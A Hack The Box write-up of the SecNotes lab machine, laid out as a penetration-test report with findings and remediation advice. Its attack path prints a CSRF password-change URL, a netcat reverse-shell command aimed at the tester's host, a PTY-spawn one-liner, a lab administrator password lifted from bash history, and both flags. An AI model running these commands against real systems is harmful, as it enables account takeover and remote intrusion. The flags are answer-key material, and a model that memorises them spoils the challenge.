HacktheBox Write up — SecNotes

HTB Walkthrough at Bottom

Key Takeaways

This machine involved an exploit of a poorly created user account creation system (See Ref 1.2) along with a member of the organization who was not trained to not click any link they did not know the purpose/origin of (See Ref 1.3). After initial access had be attained, there were multiple passwords stored in plaintext on the machine, which escalated privileges multiple times (See Refs 1.4 and 1.5).

Objectives

Obtain the user flag by gaining any kind of remote access to the target machine/environment and extract the “user flag” string of characters, then escalate privileges, often to the “root” user or system owner to then get the “root flag,” typically only accessible by this user.

Findings

1.1 Nmap Scan

The target machine was susceptible to having an nmap scan run against it.

“Nmap, a key tool in penetration testing, is used to discover hosts and vulnerabilities by probing network services. The official Nmap documentation https://nmap.org/book/ outlines its methodology, involving packet transmission and response analysis. While invaluable for identifying weaknesses, Nmap scans carry risks, potentially triggering security alerts and revealing the penetration test. Balancing its significance and associated risks is crucial for a successful penetration testing strategy.”

Risk

There are multiple risks associated with allowing an nmap scan to go undetected/unprevented. It can allow a threat actor to map out the network and gain more information about the infrastructure, operating system, and other services running on the network/machine. Any information that an attacker can get from their “discovery” phase is useful to them, and limiting the publicly facing interfaces that an attacker can encounter is a good idea.

Recommendations

There are ways to prevent, or at a minimum, detect an nmap scan or other network mapping scan performed against a network:

· Intrusion Detection

IDSs are similar to home security systems (burglar alarms) that monitor entry or breach into your home or office. Like the home security systems, IDSs log an alarm entry into the network. Unlike most home systems, however, you can configure an IDS to actually fight back with TCP RSTs and SHUN commands in the efforts to stop further entry or damage to the network. Location it critical with these systems, just like a standard security camera is to a security guard. That is why most IDSs are located where they can see as much traffic as possible.

· Anomaly Detection Systems

Anomaly detection systems (also called profile-based detection systems) are designed to watch user or network profiles. For example, an anomaly detection system alarms if it notices a network that normally is at 30 percent utilization peak up to 90 percent for a long period.

· Misuse Detection System

Misuse detection uses pattern matching. These systems contain a database of hundreds of patterns and signatures that are used to match with traffic on a network cable. You can compare misuse detection to standard disk antivirus software, where the antivirus software scans your hard drive looking for patterns in programs and files that represent malicious alterations. Misuse detection reads frames and packets off a cable instead of a hard drive. These are the most commonly used detection systems today. However, they can quickly become out of date as new attacks emerge that are not within the signature database.

1.2 No Validation of New Account Creation

Risk

When looking at the webpage in the beginning, we were met with a login screen, and when no credentials worked, all we did to gain access was create a new account. This gave us access without any sort of validation of user verification.

This can be a risk because it lacks non-repudiation and other core tenets of web-app security, as there was no way to confirm the user, and the account was given immediate standard access to the site, and a user could be anonymous on the site, as not much information about the user was gathered, other than a username and password.

Recommendations

To guard against this, it is recommended that for a blogging site, users have to enter some personal information that is verified before the account is given full access. This is as simple as including an email verification system, in which an email has to be input by the new user, and a code or link is send to that email, or implementing functionality of an admin accepting new account creation based on what the user entered.

1.3 XSRF — Fake Packet sent to User Account

Risk

On the blogging site, there was an option to send a message to user “tyler,” which we entered a URL that when clicked, took the sessionID of the user navigating to it and passed along new information that changed the user that clicked it’s password.

This is a huge risk, as any malicious link could have been sent, including a link to a website that automatically downloads a virus or a worm.

Recommendations

It is possible to “code” against this attack, though it is a better idea for the user who these chats are submitted to simply not click any link that is sent to them. Organization wide training should be done on cybersecurity, including phishing training/simulation, and learning to not click random links, especially coming from people outside of the organization.

There are groups and third party sources that will provide this training, such as this group.

1.4 SMB Password in Plaintext

Risk

Once the password for user “tyler” was changed to “password,” the attacking team was able to access the view of tyler, in which a note for the blog post was stored that contained the information for the “new site,” including the name of the SMB share and the password for user tyler.

This is a huge security risk because storing passwords in plaintext to anything on a live webserver will always hold a risk, as that takes away much of the guesswork for an attacker.

Recommendations

Simply removing the password from being held online is the best route to mitigate this risk. It would be better to keep a password in a password manager or even a sticky note on a desk, rather than storing it online.

1.5 Administrator password stored in .bash_history

Risk

Similar to the last finding, when the attacking team had gained a shell as user “tyler,” they were able to navigate through the ubuntu subsystem on the machine, which included a .bash_history file which included a log of bash commands, and in this log was a command to access the root SMB share of the server with administrative credentials.

This is a risk because the attacking team was able to run the exact same command, as the password was stored in plaintext, and gain administrative access to the root smb share.

Recommendations

Clearing bash history, especially when available to any user, is necessary.

This can be done manually, every time a user enters sensitive information or logs out, with:

cat /dev/null > ~/.bash_history && history -c

This can also be automated with the following crontab:

# Clear bash history everynight at 11pm

00 23 * * * cat /dev/null > ~/.bash_history

Attack Path

Enumeration

To begin, we ran an nmap scan on this box, as we typically do. This shows us what ports and services are available and running on this target machine. To make this easier, we used zenmap, a GUI for nmap.

It also appeared to us that the target machine was running Windows XP|7.

Since we had a port 80 http service to enumerate, we also began our dirbuster directory scan.

While this ran, we began our enumeration of the webpage itself in our browser.

The landing page was /login.php and had a simple authentication screen. We tried some defaults, but it returned with no account found with said username.

From this page, we were actually able to create a user “testuser:password” that we could sign in with.

Before we poke around more, we wanted to know what we could expect to find, and by this time our dirbuster scan had finished.

There were about 4 other webpages we hadn’t seen yet. The one that stood out the most was db.php.

When we tried to navigate to this page:

This probably had to do with the port 445 service running, which was used for an SMB service.

After clicking around some more, there were many boxes that accepted user input, so it seemed that our initial point of entry would be some kind of malicious injection, we just had to find out the best way to go about it.

Initial Foothold

On the contact page, we took note of a known username, being “tyler.”

Always of interest is the change password function, so we captured a request in burp to see what was being sent.

Of note on the change password page is the missing “confirm current password” option, so it is possible to change the password of an account that you do not know the password of when entering it.

In burp, the packet looked like:

It seemed as though all it passed was the PHPSESSID and the details for the new password.

XSRF

Since we could send a note to tyler@secnotes, we could try to send a malicious request, that when clicked, would send a malicious packet that directed to /change_pass.php along with a payload configured, changing the password to something we know.

To test this theory of it a link we passed would be clicked, we start a netcat listener on port 80 on our local machine and passed along our local machine’s IP with port 80 to see if we would get any kind of hit.

Our theory was correct, so we could continue with our strategy of sending the target’s IP with the change password webpage specified and the parameters set to change the password, which would auto-populate with the user “tyler” PHPSESSID.

With our already crafted packet, we took the URL from it:

http://10.129.233.238/change_pass.php?password=newpassword&confirm_password=newpassword&submit=submit

Assuming that “tyler” would click the link, it would change his password from whatever it was to “newpassword,” and we could try to login with this new password to account “tyler.”

We entered this in the chat input:

http://10.129.233.238/change_pass.php?password=newpassword&confirm_password=newpassword&submit=submit
http://10.10.14.8/

This would change the password, then notify us when complete, as it would hit our webserver.

This hit our webserver, though the user’s password was not changed.

We tried entering the following message again:

http://10.129.233.238/change_pass.php?password=password&confirm_password=password&submit=submit
http://10.10.14.8

We got another successful hit on our http server, so we checked again to sign in with password “password”

This did not work either.

None of these worked, so we assumed that the webserver would be hosted on the same host that user tyler was acting on, so we tried:

http://localhost/change_pass.php?password=password&confirm_password=password&submit=submit
http://10.10.14.8

This worked.

We saw a few notes:

The last one looked to be credentials for the smb share hosted on the machine.

SMB Access

Since we had the credentials, we could use smbmap to see what we were looking at.

The new-site looked interesting, and this user had read and write access.

To access this, we used smbclient.

Since we had read and write access, we could try putting a reverse shell on this SMB share and then calling it by curling it.

To do this, we had to achieve some kind of RCE, so we first put a simple command execution script:

We then had to put a copy of netcat on the machine that we could execute passed along with our cmd.exe we put on the machine.

To do this, we checked where our nc.exe was on our local machine.

We then put it on the smb share.

From here, we could curl it and pass a command to hit back our netcat listener on our local machine.

This did not work, as we saved the rce.php as rce.exe, not a php script.

 curl http://10.129.233.238:8808/rce.exe?cmd=nc.exe+-e+cmd.exe+10.10.14.8+4444

This also did not work, as the file was not found. We changed the rce.exe to rce.php, though our netcat listener did not get a hit.

We checked the smbshare again to see if our files were being placed:

Nothing was found.

We tried a different path. Since we knew this was hosted on port 8808, we could upload a command execute script:

From here, we put this on the share and then tried to access it in our browser with ?cmd=id

Note: We named it secrce.php, as the first try didn’t work, so secrce.php takes place of cmd.php.

Since we had achieved RCE, we could now try to get a reverse shell.

We grabbed a php reverse shell:

We had also already moved nc.exe over, so we checked that both of our files were there:

When we exit this and go back in, we notice that our files were cleaned:

We were unsure if there was something that removed new files on a timer, so we put the two files back on and moved fast.

We then navigated to IP:8808/phprevshell.php and checked our listener:

Shell as Tyler

User flag: 21040275703adaef6ae5817ac80069a7

Poking around the machine, we found an Ubuntu.zip present, which means there could be another operating system running on the host.

Privilege Escalation

Since it is possible that Ubuntu was installed on the machine (or that Windows was installed on an Ubuntu machine), we could try to execute a bash command.

To see where bash.exe was stored, we ran the following command to locate it:

 where /R c:\ bash.exe

We found that it was located at:

c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe

We simply entered the file path:

From here, we spawned our TTY shell with:

python -c 'import pty;pty.spawn("/bin/bash")'

We poked around this subsystem for a while, and found a .bash_history file populated with some entries:

In the above image, the administrator password is in plaintext:

smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$

We could run this command to gain administrative access to the smb share at localhost\c drive.

From here, we poked around some more, discovering a root.txt in the users/administrator/desktop folder, which we used “get” on, and from here, we exited smbclient, where the root.txt file was stored in the current working directory we ran smbclient from.

Root flag: 58e0d4be0f6acd1ebff35fbb804c8458

Keywords

Ethical hacking case study, Penetration testing findings, HTB box analysis, Vulnerability assessment report, HTB answers, Cybersecurity testing insights, Hack The Box report, Penetration tester’s analysis, HTB challenge resolution, Ethical hacking techniques, Security assessment report, Hacker’s perspective on HTB, Network penetration testing, Exploitation and remediation, Hack The Box success story, Ethical hacking best practices, Vulnerability identification, Real-world hacking scenario, Penetration testing case study, Practical hacking lessons, htb SecNotes